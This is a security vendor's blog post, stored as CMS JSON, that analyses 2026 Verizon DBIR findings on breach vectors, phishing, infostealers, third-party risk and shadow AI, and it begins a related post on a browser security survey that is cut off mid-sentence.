Collection":17071,"faqTitle":59,"featured":6,"hashTags":59,"meta":17073,"metaTitle":17074,"ogImage":59,"postType":1424,"publishedDate":14084,"relatedBlogPostsCollection":17075,"slug":18943,"stem":18944,"subtitle":59,"summary":18945,"synopsis":18956,"sys":18957,"tagsCollection":18960,"topicsCollection":18966,"__hash__":19016},"blog/blog/verizon-dbir-2026-review.json","What the Verizon DBIR tells us about how breaches happen in 2026",{"items":16468},[16469],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":16470},{"url":853},{"json":16472,"links":17000},{"data":16473,"content":16474,"nodeType":1382},{},[16475,16482,16485,16493,16509,16516,16523,16529,16537,16544,16551,16557,16574,16579,16595,16603,16619,16626,16633,16636,16644,16660,16666,16685,16691,16699,16722,16729,16732,16740,16747,16753,16760,16778,16786,16802,16805,16813,16829,16836,16843,16861,16864,16872,16879,16886,16893,16899,16907,16923,16930,16947,16950,16958,16965,16972,16978,16984],{"data":16476,"content":16477,"nodeType":866},{},[16478],{"data":16479,"marks":16480,"value":16481,"nodeType":865},{},[],"The headline finding getting the most airtime in 2026 is that vulnerability exploitation has overtaken credential abuse as the top single initial access vector, jumping to 31% from 20% the year before. The vulnerability management crisis driving this statistic is one of the most important stories in this year's data. But reading it as evidence that identity threats are receding would be a mistake, because the DBIR's own data tells a more complicated and more useful story when you look at the full picture.",{"data":16483,"content":16484,"nodeType":972},{},[],{"data":16486,"content":16487,"nodeType":981},{},[16488],{"data":16489,"marks":16490,"value":16492,"nodeType":865},{},[16491],{"type":926},"Vulnerability exploitation has caught up with identity — not replaced it",{"data":16494,"content":16495,"nodeType":866},{},[16496,16500,16505],{"data":16497,"marks":16498,"value":16499,"nodeType":865},{},[],"The DBIR's headline comparison pits vulnerability exploitation (31%) against credential abuse (13%) as individual vectors. That comparison is accurate but incomplete, because the DBIR tracks identity-related initial access across ",{"data":16501,"marks":16502,"value":16504,"nodeType":865},{},[16503],{"type":926},"three",{"data":16506,"marks":16507,"value":16508,"nodeType":865},{},[]," separate categories: phishing (16%), credential abuse (13%), and pretexting (6%). Before interpreting those numbers, there's a methodological wrinkle worth understanding.",{"data":16510,"content":16511,"nodeType":866},{},[16512],{"data":16513,"marks":16514,"value":16515,"nodeType":865},{},[],"This year's report added pretexting as a newly tracked initial access vector, reclassifying some incidents previously counted as credential abuse. The DBIR is transparent about the effect: without that change, credential abuse would have been 16% rather than 13%. On an apples-to-apples basis, identity-related initial access (phishing 16% + credential abuse 16%) comes to 32% — versus 31% for vulnerability exploitation.",{"data":16517,"content":16518,"nodeType":866},{},[16519],{"data":16520,"marks":16521,"value":16522,"nodeType":865},{},[],"To be precise about what moved: phishing held roughly flat year over year, but credential abuse saw a modest decline even on the adjusted basis (from 22% to 16%). Overall, the identity picture is broadly stable. The reason the two categories have converged is that vulnerability exploitation surged 55%, not that identity attacks meaningfully receded.",{"data":16524,"content":16528,"nodeType":912},{"target":16525},{"sys":16526},{"id":16527,"type":909,"linkType":910},"5GvSsSY4R6X34ZBMidZ54X",[],{"data":16530,"content":16531,"nodeType":1317},{},[16532],{"data":16533,"marks":16534,"value":16536,"nodeType":865},{},[16535],{"type":926},"The taxonomy gap",{"data":16538,"content":16539,"nodeType":866},{},[16540],{"data":16541,"marks":16542,"value":16543,"nodeType":865},{},[],"It's also worth asking how much the DBIR's initial access taxonomy can tell us. The figure that everyone is citing — Figure 10 — is labelled \"select enumerations,\" and the four tracked vectors (vulnerability exploitation, phishing, credential abuse, pretexting) add up to only 66% of initial access. A third of the picture isn't represented in the headline breakdown at all.",{"data":16545,"content":16546,"nodeType":866},{},[16547],{"data":16548,"marks":16549,"value":16550,"nodeType":865},{},[],"The cluster boundaries and where you draw them also changes the story. The DBIR classifies ClickFix under \"baiting\" — a category that covers malicious downloads and SEO poisoning — rather than phishing, even though the end goal is often the same: getting a user to execute something they shouldn't. Pretexting absorbed incidents that were previously credential abuse, shifting the numbers between categories. These are useful analytical clusters, but they aren't clean divisions of a neatly partitioned attack surface.",{"data":16552,"content":16556,"nodeType":912},{"target":16553},{"sys":16554},{"id":16555,"type":909,"linkType":910},"7t6ZcHDycaPOyLstX4r8zl",[],{"data":16558,"content":16559,"nodeType":866},{},[16560,16564,16571],{"data":16561,"marks":16562,"value":16563,"nodeType":865},{},[],"These are identity attacks at scale, and it isn't clear where — or whether — they show up in the DBIR's initial access vectors. This lack of depth in identity and in-browser attack vectors is common in many defensive models, which is why we've created our own ",{"data":16565,"content":16566,"nodeType":889},{"uri":8393},[16567],{"data":16568,"marks":16569,"value":16570,"nodeType":865},{},[],"Browser and Identity Attacks Matrix",{"data":16572,"marks":16573,"value":1615,"nodeType":865},{},[],{"data":16575,"content":16578,"nodeType":912},{"target":16576},{"sys":16577},{"id":8079,"type":909,"linkType":910},[],{"data":16580,"content":16581,"nodeType":866},{},[16582,16586,16591],{"data":16583,"marks":16584,"value":16585,"nodeType":865},{},[],"That convergence at initial access also understates the role credentials play across full breach chains. The DBIR states plainly that credential abuse at any point in the breach progression — not just as the first action — appears in ",{"data":16587,"marks":16588,"value":16590,"nodeType":865},{},[16589],{"type":926},"39% of all breaches",{"data":16592,"marks":16593,"value":16594,"nodeType":865},{},[],", making it the single most pervasive technique in the dataset. Credentials don't just open the front door; they unlock lateral movement, privilege escalation, and persistence throughout the attack chain.",{"data":16596,"content":16597,"nodeType":1317},{},[16598],{"data":16599,"marks":16600,"value":16602,"nodeType":865},{},[16601],{"type":926},"The vulnerability treadmill",{"data":16604,"content":16605,"nodeType":866},{},[16606,16610,16615],{"data":16607,"marks":16608,"value":16609,"nodeType":865},{},[],"The vulnerability exploitation surge itself is driven by a structural capacity crisis rather than a shift in attacker preference. Edge devices and VPNs now account for 22% of vulnerability-exploitation breaches, up from 3% the prior year — a ",{"data":16611,"marks":16612,"value":16614,"nodeType":865},{},[16613],{"type":898},"sevenfold",{"data":16616,"marks":16617,"value":16618,"nodeType":865},{},[]," increase. Organizations face 50% more CISA KEV vulnerabilities to remediate than a year ago, median remediation time has increased from 32 to 43 days, and the volume of vulnerability records in the dataset has grown roughly eightfold.",{"data":16620,"content":16621,"nodeType":866},{},[16622],{"data":16623,"marks":16624,"value":16625,"nodeType":865},{},[],"This trend was already visible in last year's DBIR, when vulnerability exploitation jumped from 15% to 20%. AI-assisted exploit development may be compounding the problem — the DBIR's own data shows 32% of AI-assisted initial access targeting vulnerability exploitation — but the structural capacity crisis was accelerating well before AI became a meaningful factor in the attacker toolkit.",{"data":16627,"content":16628,"nodeType":866},{},[16629],{"data":16630,"marks":16631,"value":16632,"nodeType":865},{},[],"The vulnerability treadmill is accelerating, and the DBIR's remediation data shows defenders losing ground. But this is an additive problem, not a substitution. Both attack surfaces are growing. ",{"data":16634,"content":16635,"nodeType":972},{},[],{"data":16637,"content":16638,"nodeType":981},{},[16639],{"data":16640,"marks":16641,"value":16643,"nodeType":865},{},[16642],{"type":926},"Phishing has left the inbox",{"data":16645,"content":16646,"nodeType":866},{},[16647,16651,16656],{"data":16648,"marks":16649,"value":16650,"nodeType":865},{},[],"41% percent of social engineering breaches now involve vectors other than email, with approximately a quarter coming from social media or phone-based channels. Voice phishing simulations show a ",{"data":16652,"marks":16653,"value":16655,"nodeType":865},{},[16654],{"type":926},"40% higher success rate",{"data":16657,"marks":16658,"value":16659,"nodeType":865},{},[]," than email phishing — a median click rate of 2% versus 1.4%.",{"data":16661,"content":16665,"nodeType":912},{"target":16662},{"sys":16663},{"id":16664,"type":909,"linkType":910},"7pK8qqIDDNmHmJmlcybNoe",[],{"data":16667,"content":16668,"nodeType":866},{},[16669,16673,16681],{"data":16670,"marks":16671,"value":16672,"nodeType":865},{},[],"Even within the email channel, the data confirms what ",{"data":16674,"content":16676,"nodeType":889},{"uri":16675},"https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/",[16677],{"data":16678,"marks":16679,"value":16680,"nodeType":865},{},[],"browser-level detection data has been showing",{"data":16682,"marks":16683,"value":16684,"nodeType":865},{},[],": credential harvesting dominates. The DBIR's email security gateway breakdown shows 80% of blocked attacks are credential or session phishing, with only 10% involving malware delivery, 5% callback phishing, and 3% BEC. If you're running an email security gateway, the vast majority of what it catches is credential phishing — and 41% of social engineering is arriving through channels it can't see at all.",{"data":16686,"content":16690,"nodeType":912},{"target":16687},{"sys":16688},{"id":16689,"type":909,"linkType":910},"6CvwzQA3gJ8B3RFzLrH7Kp",[],{"data":16692,"content":16693,"nodeType":1317},{},[16694],{"data":16695,"marks":16696,"value":16698,"nodeType":865},{},[16697],{"type":926},"The ClickFix detection gap",{"data":16700,"content":16701,"nodeType":866},{},[16702,16706,16713,16717],{"data":16703,"marks":16704,"value":16705,"nodeType":865},{},[],"The DBIR reports ClickFix at only 2.7% of attacks detected at the browser level. For context, ",{"data":16707,"content":16708,"nodeType":889},{"uri":5409},[16709],{"data":16710,"marks":16711,"value":16712,"nodeType":865},{},[],"CrowdStrike reported a 563% increase in ClickFix lures",{"data":16714,"marks":16715,"value":16716,"nodeType":865},{},[]," over the same period and Microsoft identified it as the most common initial access point at 47% of observed attacks. Push's own data shows ClickFix at a significantly higher proportion of browser-level detections, ",{"data":16718,"marks":16719,"value":16721,"nodeType":865},{},[16720],{"type":926},"with 4 in 5 delivered via search engines specifically.",{"data":16723,"content":16724,"nodeType":866},{},[16725],{"data":16726,"marks":16727,"value":16728,"nodeType":865},{},[],"The gap is striking, and the most likely explanation is a visibility one. ClickFix attacks result in a malware download or script execution on the endpoint — and without browser-layer context, that execution looks like any other malware delivery. If a contributing organization doesn't have visibility into the browser session that preceded the payload, they'd attribute the incident to \"malware download\" or \"user execution\" rather than ClickFix specifically. The DBIR's 2.7% probably reflects how often contributors could trace the chain back to a ClickFix page, not how often ClickFix was actually the delivery mechanism.",{"data":16730,"content":16731,"nodeType":972},{},[],{"data":16733,"content":16734,"nodeType":981},{},[16735],{"data":16736,"marks":16737,"value":16739,"nodeType":865},{},[16738],{"type":926},"Stolen credentials are the ransomware on-ramp",{"data":16741,"content":16742,"nodeType":866},{},[16743],{"data":16744,"marks":16745,"value":16746,"nodeType":865},{},[],"One of the most powerful findings in this year's DBIR is the quantification of the relationship between credential compromise and ransomware outcomes. Fifty percent of ransomware victims had a credential or infostealer event occur within 95 days prior to the ransomware attack, drawing a causal line from credential theft to ransomware deployment.",{"data":16748,"content":16752,"nodeType":912},{"target":16749},{"sys":16750},{"id":16751,"type":909,"linkType":910},"3ZwG5UiweFR4fYiDaxJJDm",[],{"data":16754,"content":16755,"nodeType":866},{},[16756],{"data":16757,"marks":16758,"value":16759,"nodeType":865},{},[],"The infostealer supply chain data reinforces the picture. Infostealers are surfacing an average of 2,362 breached corporate credentials per month from organizational email domains in stealer log datasets, and 54% of devices in Initial Access Broker logs had at least one infostealer installed. The 95-day median window is consistent with the known timeline from credential harvest to ransomware deployment.",{"data":16761,"content":16762,"nodeType":866},{},[16763,16767,16774],{"data":16764,"marks":16765,"value":16766,"nodeType":865},{},[],"That timeline reinforces an argument we've been making about ",{"data":16768,"content":16769,"nodeType":889},{"uri":1902},[16770],{"data":16771,"marks":16772,"value":16773,"nodeType":865},{},[],"where the intervention point needs to be",{"data":16775,"marks":16776,"value":16777,"nodeType":865},{},[],": detecting credential compromise upstream — at the point of credential entry, session creation, or stolen credential reuse — rather than waiting for the ransomware deployment that follows weeks or months later.",{"data":16779,"content":16780,"nodeType":1317},{},[16781],{"data":16782,"marks":16783,"value":16785,"nodeType":865},{},[16784],{"type":926},"Post-compromise tradecraft is shifting",{"data":16787,"content":16788,"nodeType":866},{},[16789,16793,16798],{"data":16790,"marks":16791,"value":16792,"nodeType":865},{},[],"The DBIR's post-compromise data adds another dimension. RMM tool abuse by threat actors showed a ",{"data":16794,"marks":16795,"value":16797,"nodeType":865},{},[16796],{"type":926},"240% increase",{"data":16799,"marks":16800,"value":16801,"nodeType":865},{},[]," over the prior year, while traditional backdoor and C2 malware usage fell 27%. Attackers are increasingly living off the land with the same remote access tools IT teams use. Post-compromise detection is getting harder, which makes catching the initial credential compromise upstream that much more valuable.",{"data":16803,"content":16804,"nodeType":972},{},[],{"data":16806,"content":16807,"nodeType":981},{},[16808],{"data":16809,"marks":16810,"value":16812,"nodeType":865},{},[16811],{"type":926},"Your vendors are half the problem",{"data":16814,"content":16815,"nodeType":866},{},[16816,16820,16825],{"data":16817,"marks":16818,"value":16819,"nodeType":865},{},[],"Third-party involvement in breaches reached ",{"data":16821,"marks":16822,"value":16824,"nodeType":865},{},[16823],{"type":926},"48%",{"data":16826,"marks":16827,"value":16828,"nodeType":865},{},[]," this year, up from 30% — a 60% increase that follows a prior year where the figure had already doubled.",{"data":16830,"content":16831,"nodeType":866},{},[16832],{"data":16833,"marks":16834,"value":16835,"nodeType":865},{},[],"The DBIR's root cause analysis maps directly to identity security: insecure authentication — absent MFA, improper credential rotation — and lack of least privilege enforcement account for a substantial share of cloud-based third-party incidents. Only 23% of third-party organizations fully remediated missing or improperly secured MFA on cloud accounts, and weak password and permission misconfigurations took a median of 8 months to resolve 50% of findings.",{"data":16837,"content":16838,"nodeType":866},{},[16839],{"data":16840,"marks":16841,"value":16842,"nodeType":865},{},[],"Eight months. That's the median timeline for third-party vendors to resolve the identity hygiene issues that create the attack surface in their environments — environments that your data lives in.",{"data":16844,"content":16845,"nodeType":866},{},[16846,16850,16857],{"data":16847,"marks":16848,"value":16849,"nodeType":865},{},[],"Extend that posture gap across every vendor and third-party integration, and you start to see why the third-party breach figure keeps climbing. Visibility into ",{"data":16851,"content":16852,"nodeType":889},{"uri":3841},[16853],{"data":16854,"marks":16855,"value":16856,"nodeType":865},{},[],"OAuth consent flows and third-party integration sprawl",{"data":16858,"marks":16859,"value":16860,"nodeType":865},{},[]," is the starting point for getting ahead of a supply chain problem that is structurally getting worse.",{"data":16862,"content":16863,"nodeType":972},{},[],{"data":16865,"content":16866,"nodeType":981},{},[16867],{"data":16868,"marks":16869,"value":16871,"nodeType":865},{},[16870],{"type":926},"AI is scaling known techniques — and creating new blind spots from the inside",{"data":16873,"content":16874,"nodeType":866},{},[16875],{"data":16876,"marks":16877,"value":16878,"nodeType":865},{},[],"The DBIR's AI analysis this year is grounded in a collaboration with Anthropic covering 793 threat actors who received enforcement action for violating acceptable use policy between March 2025 and February 2026. The findings are measured rather than alarmist: in the median case, actors sought AI assistance across about 15 distinct ATT&CK techniques, 44% of AI-assisted initial access was phishing-related, and less than 2.5% of techniques observed were classified as rare.",{"data":16880,"content":16881,"nodeType":866},{},[16882],{"data":16883,"marks":16884,"value":16885,"nodeType":865},{},[],"AI is currently an operational tool for attackers — automating and scaling known techniques rather than unlocking novel ones. Despite heavy AI-assisted focus on phishing, the DBIR's own incident dataset shows phishing as an initial access vector has barely changed year over year — suggesting AI may be uplifting less-experienced attackers to a higher baseline of lure quality without meaningfully increasing success rates against organizations that already have detection in place.",{"data":16887,"content":16888,"nodeType":866},{},[16889],{"data":16890,"marks":16891,"value":16892,"nodeType":865},{},[],"The more concerning number is the 32% of AI-assisted initial access targeting vulnerability exploitation — compounding the patching capacity crisis discussed earlier in a trend that was already accelerating before AI entered the picture.",{"data":16894,"content":16898,"nodeType":912},{"target":16895},{"sys":16896},{"id":16897,"type":909,"linkType":910},"4bFTnVx1SXMQzZSaICCJOn",[],{"data":16900,"content":16901,"nodeType":1317},{},[16902],{"data":16903,"marks":16904,"value":16906,"nodeType":865},{},[16905],{"type":926},"Shadow AI is the bigger problem",{"data":16908,"content":16909,"nodeType":866},{},[16910,16914,16919],{"data":16911,"marks":16912,"value":16913,"nodeType":865},{},[],"The sharper AI risk for most organizations, though, is internal. Forty-five percent of employees are now regular AI users on corporate devices — up from 15%, a threefold increase — and ",{"data":16915,"marks":16916,"value":16918,"nodeType":865},{},[16917],{"type":926},"67% of them use non-corporate accounts",{"data":16920,"marks":16921,"value":16922,"nodeType":865},{},[],". Shadow AI has become the third most common non-malicious insider action in DLP data, a fourfold increase over the prior year, with source code as the leading data type submitted to unauthorized AI platforms by a wide margin.",{"data":16924,"content":16925,"nodeType":866},{},[16926],{"data":16927,"marks":16928,"value":16929,"nodeType":865},{},[],"The browser extension angle is particularly relevant. More than 15% of users had unauthorized AI browser extensions installed, and the DBIR specifically notes that these extensions collect and retain browsing context from internal sites — creating a data exfiltration pathway that operates independently of traditional DLP controls.",{"data":16931,"content":16932,"nodeType":866},{},[16933,16937,16944],{"data":16934,"marks":16935,"value":16936,"nodeType":865},{},[],"This is moving faster than any previous shadow IT wave, and the data loss vector is the browser — where users interact with AI tools, where extensions collect context, and where OAuth consent grants connect AI services to corporate data. Visibility and control at that layer isn't a nice-to-have for AI governance; ",{"data":16938,"content":16939,"nodeType":889},{"uri":8268},[16940],{"data":16941,"marks":16942,"value":16943,"nodeType":865},{},[],"it's the minimum viable starting point",{"data":16945,"marks":16946,"value":1615,"nodeType":865},{},[],{"data":16948,"content":16949,"nodeType":972},{},[],{"data":16951,"content":16952,"nodeType":981},{},[16953],{"data":16954,"marks":16955,"value":16957,"nodeType":865},{},[16956],{"type":926},"What this means for defenders",{"data":16959,"content":16960,"nodeType":866},{},[16961],{"data":16962,"marks":16963,"value":16964,"nodeType":865},{},[],"The DBIR's 2026 data paints a picture of converging pressures rather than shifting priorities. Vulnerability exploitation surged, but identity-related initial access is broadly stable and credential abuse at 39% across full breach chains remains the single most pervasive technique in the dataset. Phishing is arriving through channels that email gateways can't see. The infostealer-to-ransomware pipeline now has longitudinal data behind it. Third-party involvement keeps climbing because vendor identity hygiene takes months to remediate. And shadow AI is creating data exposure pathways that most security stacks weren't designed to see.",{"data":16966,"content":16967,"nodeType":866},{},[16968],{"data":16969,"marks":16970,"value":16971,"nodeType":865},{},[],"The common thread across all of these findings is that the browser — where credentials are entered, sessions are created, OAuth consent is granted, AI tools are accessed, and extensions collect data — is the layer where these risks converge and where defenders need visibility and control if they're going to address them at the point of risk rather than after the fact.",{"data":16973,"content":16974,"nodeType":866},{},[16975],{"data":16976,"marks":16977,"value":1356,"nodeType":865},{},[],{"data":16979,"content":16980,"nodeType":866},{},[16981],{"data":16982,"marks":16983,"value":1363,"nodeType":865},{},[],{"data":16985,"content":16986,"nodeType":866},{},[16987,16990,16997],{"data":16988,"marks":16989,"value":21,"nodeType":865},{},[],{"data":16991,"content":16992,"nodeType":889},{"uri":1372},[16993],{"data":16994,"marks":16995,"value":1378,"nodeType":865},{},[16996],{"type":943},{"data":16998,"marks":16999,"value":21,"nodeType":865},{},[],{"entries":17001},{"hyperlink":17002,"inline":17003,"block":17004},[],[],[17005,17011,17037,17040,17054,17059,17066],{"sys":17006,"__typename":1390,"title":17007,"caption":17007,"layoutMode":59,"file":17008},{"id":16527},"DBIR Figure 10 (p.15) — Initial access vectors, select enumerations",{"url":17009,"width":1402,"height":17010},"https://images.ctfassets.net/y1cdw1ablpvd/18rPvZ4Sw11UCHE7MxzXkd/17d059302242b4034686b13ee3044c8e/image4.png",1521,{"sys":17012,"__typename":5503,"content":17013,"name":17036,"title":59},{"id":16555},{"json":17014},{"nodeType":1382,"data":17015,"content":17016},{},[17017],{"nodeType":866,"data":17018,"content":17019},{},[17020,17024,17032],{"nodeType":865,"value":17021,"marks":17022,"data":17023},"Some of the ",[],{},{"nodeType":889,"data":17025,"content":17027},{"uri":17026},"https://pushsecurity.com/blog/analyzing-the-instructure-breach",[17028],{"nodeType":865,"value":17029,"marks":17030,"data":17031},"most consequential identity-based campaigns of the past 12 months",[],{},{"nodeType":865,"value":17033,"marks":17034,"data":17035}," don't map cleanly to any of these categories — the mass Salesforce campaign that compromised over 1,000 organizations via device code phishing, the Anodot breach chain that pivoted through stored OAuth tokens to reach Snowflake customers, ConsentFix abusing Azure CLI's OAuth flow to bypass MFA entirely.",[],{},"DBIR 2026 IB1",{"sys":17038,"__typename":1390,"title":8396,"caption":8397,"layoutMode":59,"file":17039},{"id":8079},{"url":8399,"width":8400,"height":8401},{"sys":17041,"__typename":5503,"content":17042,"name":17053,"title":59},{"id":16664},{"json":17043},{"data":17044,"content":17045,"nodeType":1382},{},[17046],{"data":17047,"content":17048,"nodeType":866},{},[17049],{"data":17050,"marks":17051,"value":17052,"nodeType":865},{},[],"The data is a little confusing. The DBIR draws a line between Phishing (asynchronous — send a message and hope for a click) and Pretexting (synchronous — someone interacting with you in real time). Voice phishing over a phone call is Pretexting in VERIS, not Phishing, even though most practitioners would call it phishing. Browser-based credential harvesting delivered via SEO poisoning or malicious downloads falls under \"Baiting.\" So the 16% phishing figure probably understates the full scope of credential-harvesting social engineering as most defenders would define it.","DBIR IB2",{"sys":17055,"__typename":1390,"title":17056,"caption":17056,"layoutMode":59,"file":17057},{"id":16689},"DBIR Figure 54 (p.49) — Median percentage of email attack types by month",{"url":17058,"width":1402,"height":17010},"https://images.ctfassets.net/y1cdw1ablpvd/4eWtJSz2QhM6QgXXjNuBNs/e6a33a088b7b0fb0dd1649c5d9164b53/image1.png",{"sys":17060,"__typename":1390,"title":17061,"caption":17061,"layoutMode":59,"file":17062},{"id":16751},"DBIR Figure 48 (p.45) — Credential leakage events prior to ransomware",{"url":17063,"width":17064,"height":17065},"https://images.ctfassets.net/y1cdw1ablpvd/26NpMQ31lpHgp5x8FrDumz/f022f1ede66b171dd756d28009a7d4a5/image2.png",1772,776,{"sys":17067,"__typename":1390,"title":17068,"caption":17068,"layoutMode":59,"file":17069},{"id":16897},"DBIR Figure 65 (p.60) — Select data types in DLP events targeting generative AI tools",{"url":17070,"width":1402,"height":17010},"https://images.ctfassets.net/y1cdw1ablpvd/584Txvap6FW9GlFlin9GwB/f5f5488251d9faee7fedc3030d2390b1/image5.png",{"items":17072},[],{},"What the Verizon DBIR tells us about breaches in 2026",{"items":17076},[17077,17668,18501],{"__typename":1429,"sys":17078,"content":17080,"title":17654,"synopsis":17655,"hashTags":59,"publishedDate":17656,"slug":17657,"tagsCollection":17658,"authorsCollection":17664},{"id":17079},"217s8zu5idSdX25TUgbPQ1",{"json":17081},{"data":17082,"content":17083,"nodeType":1382},{},[17084,17102,17109,17116,17122,17125,17133,17149,17156,17162,17169,17252,17259,17264,17271,17277,17280,17288,17300,17307,17319,17322,17330,17346,17353,17360,17363,17371,17378,17394,17400,17416,17423,17430,17437,17453,17460,17463,17471,17478,17494,17501,17504,17512,17528,17535,17555,17567,17570,17578,17594,17601,17608,17615,17622,17625,17632,17638],{"data":17085,"content":17086,"nodeType":866},{},[17087,17090,17098],{"data":17088,"marks":17089,"value":1449,"nodeType":865},{},[],{"data":17091,"content":17093,"nodeType":889},{"uri":17092},"https://research.esg-global.com/reportaction/515202191/Marketing",[17094],{"data":17095,"marks":17096,"value":17097,"nodeType":865},{},[],"Omdia Browser Management and Security report",{"data":17099,"marks":17100,"value":17101,"nodeType":865},{},[],", based on a survey of 400 IT and security professionals across North America fielded in late 2025, is the most comprehensive industry data to date on how organizations are experiencing, prioritizing, and investing in the secure enterprise browser (SEB) market. ",{"data":17103,"content":17104,"nodeType":866},{},[17105],{"data":17106,"marks":17107,"value":17108,"nodeType":865},{},[],"For us at Push, it externally validates what we've known to be true for some time — the browser is where work happens, where attacks land, and where defenders need to be if they want to detect and stop threats before damage is done.",{"data":17110,"content":17111,"nodeType":866},{},[17112],{"data":17113,"marks":17114,"value":17115,"nodeType":865},{},[],"We pulled out seven findings that matter most for security teams evaluating their approach.",{"data":17117,"content":17121,"nodeType":912},{"target":17118},{"sys":17119},{"id":17120,"type":909,"linkType":910},"4aM879egIFYmDvOhzyNI9A",[],{"data":17123,"content":17124,"nodeType":972},{},[],{"data":17126,"content":17127,"nodeType":981},{},[17128],{"data":17129,"marks":17130,"value":17132,"nodeType":865},{},[17131],{"type":926},"1. The attacks driving concern are the ones happening inside the browser session",{"data":17134,"content":17135,"nodeType":866},{},[17136,17140,17145],{"data":17137,"marks":17138,"value":17139,"nodeType":865},{},[],"The threat picture is driving everything else in this report, so it's the right place to start. ",{"data":17141,"marks":17142,"value":17144,"nodeType":865},{},[17143],{"type":926},"49% of organizations suffered a successful browser-based attack in the last 12 months.",{"data":17146,"marks":17147,"value":17148,"nodeType":865},{},[]," Among those affected, browser-originated incidents account for roughly 37% of all security incidents — and 68% say that share has grown over the past two years. ",{"data":17150,"content":17151,"nodeType":866},{},[17152],{"data":17153,"marks":17154,"value":17155,"nodeType":865},{},[],"The browser is not an emerging threat vector. It’s worth noting here that these numbers are also likely lower than the reality, since many are only identified later in the kill chain. Without browser-level telemetry they can be difficult to trace back their source — which in the vast majority of cases, even for malware-driven attacks, is the browser. ",{"data":17157,"content":17161,"nodeType":912},{"target":17158},{"sys":17159},{"id":17160,"type":909,"linkType":910},"6Kcz8oILKVHmhQIo5Du6V",[],{"data":17163,"content":17164,"nodeType":866},{},[17165],{"data":17166,"marks":17167,"value":17168,"nodeType":865},{},[],"What stands out is that every one of the top attack categories plays out inside the browser session itself — not against the browser as a piece of software, but within the sessions where users interact with applications:",{"data":17170,"content":17171,"nodeType":1616},{},[17172,17182,17192,17202,17212,17222,17232,17242],{"data":17173,"content":17174,"nodeType":1570},{},[17175],{"data":17176,"content":17177,"nodeType":866},{},[17178],{"data":17179,"marks":17180,"value":17181,"nodeType":865},{},[],"Phishing (40%)",{"data":17183,"content":17184,"nodeType":1570},{},[17185],{"data":17186,"content":17187,"nodeType":866},{},[17188],{"data":17189,"marks":17190,"value":17191,"nodeType":865},{},[],"Data loss or leakage (38%)",{"data":17193,"content":17194,"nodeType":1570},{},[17195],{"data":17196,"content":17197,"nodeType":866},{},[17198],{"data":17199,"marks":17200,"value":17201,"nodeType":865},{},[],"Malicious browser extensions (34%)",{"data":17203,"content":17204,"nodeType":1570},{},[17205],{"data":17206,"content":17207,"nodeType":866},{},[17208],{"data":17209,"marks":17210,"value":17211,"nodeType":865},{},[],"Vulnerable browser extensions (33%)",{"data":17213,"content":17214,"nodeType":1570},{},[17215],{"data":17216,"content":17217,"nodeType":866},{},[17218],{"data":17219,"marks":17220,"value":17221,"nodeType":865},{},[],"Malicious scripts (31%)",{"data":17223,"content":17224,"nodeType":1570},{},[17225],{"data":17226,"content":17227,"nodeType":866},{},[17228],{"data":17229,"marks":17230,"value":17231,"nodeType":865},{},[],"Credential theft via browser (28%)",{"data":17233,"content":17234,"nodeType":1570},{},[17235],{"data":17236,"content":17237,"nodeType":866},{},[17238],{"data":17239,"marks":17240,"value":17241,"nodeType":865},{},[],"Cookie theft (22%)",{"data":17243,"content":17244,"nodeType":1570},{},[17245],{"data":17246,"content":17247,"nodeType":866},{},[17248],{"data":17249,"marks":17250,"value":17251,"nodeType":865},{},[],"AiTM attacks (17%)",{"data":17253,"content":17254,"nodeType":866},{},[17255],{"data":17256,"marks":17257,"value":17258,"nodeType":865},{},[],"Phishing, credential theft, cookie theft, and AiTM are attacks that target the user's interaction with a web page — the credential entry, the session creation, the token exchange. Malicious and vulnerable extensions are supply chain risks that operate inside the browser's own execution environment. Data loss happens through the browser when employees upload files, paste data into AI tools, or share information with unsanctioned applications. ",{"data":17260,"content":17263,"nodeType":912},{"target":17261},{"sys":17262},{"id":12658,"type":909,"linkType":910},[],{"data":17265,"content":17266,"nodeType":866},{},[17267],{"data":17268,"marks":17269,"value":17270,"nodeType":865},{},[],"None of these are attacks where network-layer traffic inspection, endpoint monitoring, or email scanning provides complete coverage, because the attack surface is the browser session itself.",{"data":17272,"content":17276,"nodeType":912},{"target":17273},{"sys":17274},{"id":17275,"type":909,"linkType":910},"5kI5h4Z31ByD73er7voayF",[],{"data":17278,"content":17279,"nodeType":972},{},[],{"data":17281,"content":17282,"nodeType":981},{},[17283],{"data":17284,"marks":17285,"value":17287,"nodeType":865},{},[17286],{"type":926},"2. Browser security is now a board-level priority",{"data":17289,"content":17290,"nodeType":866},{},[17291,17296],{"data":17292,"marks":17293,"value":17295,"nodeType":865},{},[17294],{"type":926},"88% of respondents rank browser security as at least a top-five security priority",{"data":17297,"marks":17298,"value":17299,"nodeType":865},{},[],", with more than a quarter (26%) calling it their single top priority. For context, this is a survey that covers the full spectrum of security concerns — cloud, supply chain, AI, insider risk — and browser security has risen above most of them.",{"data":17301,"content":17302,"nodeType":866},{},[17303],{"data":17304,"marks":17305,"value":17306,"nodeType":865},{},[],"This is not aspirational interest. The correlation between priority level and investment is sharp: among those who rank browser security as their top priority, 72% have significantly increased their investment due to emerging threats. Among those who rank it in their top five, that figure is 26%. The organizations that care most are spending the most.",{"data":17308,"content":17309,"nodeType":866},{},[17310,17315],{"data":17311,"marks":17312,"value":17314,"nodeType":865},{},[17313],{"type":926},"86% of respondents have increased their browser security investment in response to emerging threats",{"data":17316,"marks":17317,"value":17318,"nodeType":865},{},[],", with 36% saying the increase was significant. When you ask what's driving that spend, the answer is the threat landscape: the attacks cataloged in the previous section are the reason budgets are moving.",{"data":17320,"content":17321,"nodeType":972},{},[],{"data":17323,"content":17324,"nodeType":981},{},[17325],{"data":17326,"marks":17327,"value":17329,"nodeType":865},{},[17328],{"type":926},"3. Real budget is being allocated — and it's growing",{"data":17331,"content":17332,"nodeType":866},{},[17333,17337,17342],{"data":17334,"marks":17335,"value":17336,"nodeType":865},{},[],"Secure enterprise browser solutions already take up ",{"data":17338,"marks":17339,"value":17341,"nodeType":865},{},[17340],{"type":926},"12.6% of the average security budget",{"data":17343,"marks":17344,"value":17345,"nodeType":865},{},[]," — a substantial allocation for a category that didn't exist as a standalone line item a few years ago. And 85% of respondents expect to increase that spend over the next 12–24 months, with a quarter expecting significant increases.",{"data":17347,"content":17348,"nodeType":866},{},[17349],{"data":17350,"marks":17351,"value":17352,"nodeType":865},{},[],"Where the money comes from tells its own story. The most common funding model is a discrete line item within security program budgets (31%) or a dedicated secure browsing budget (30%). When organizations pull from 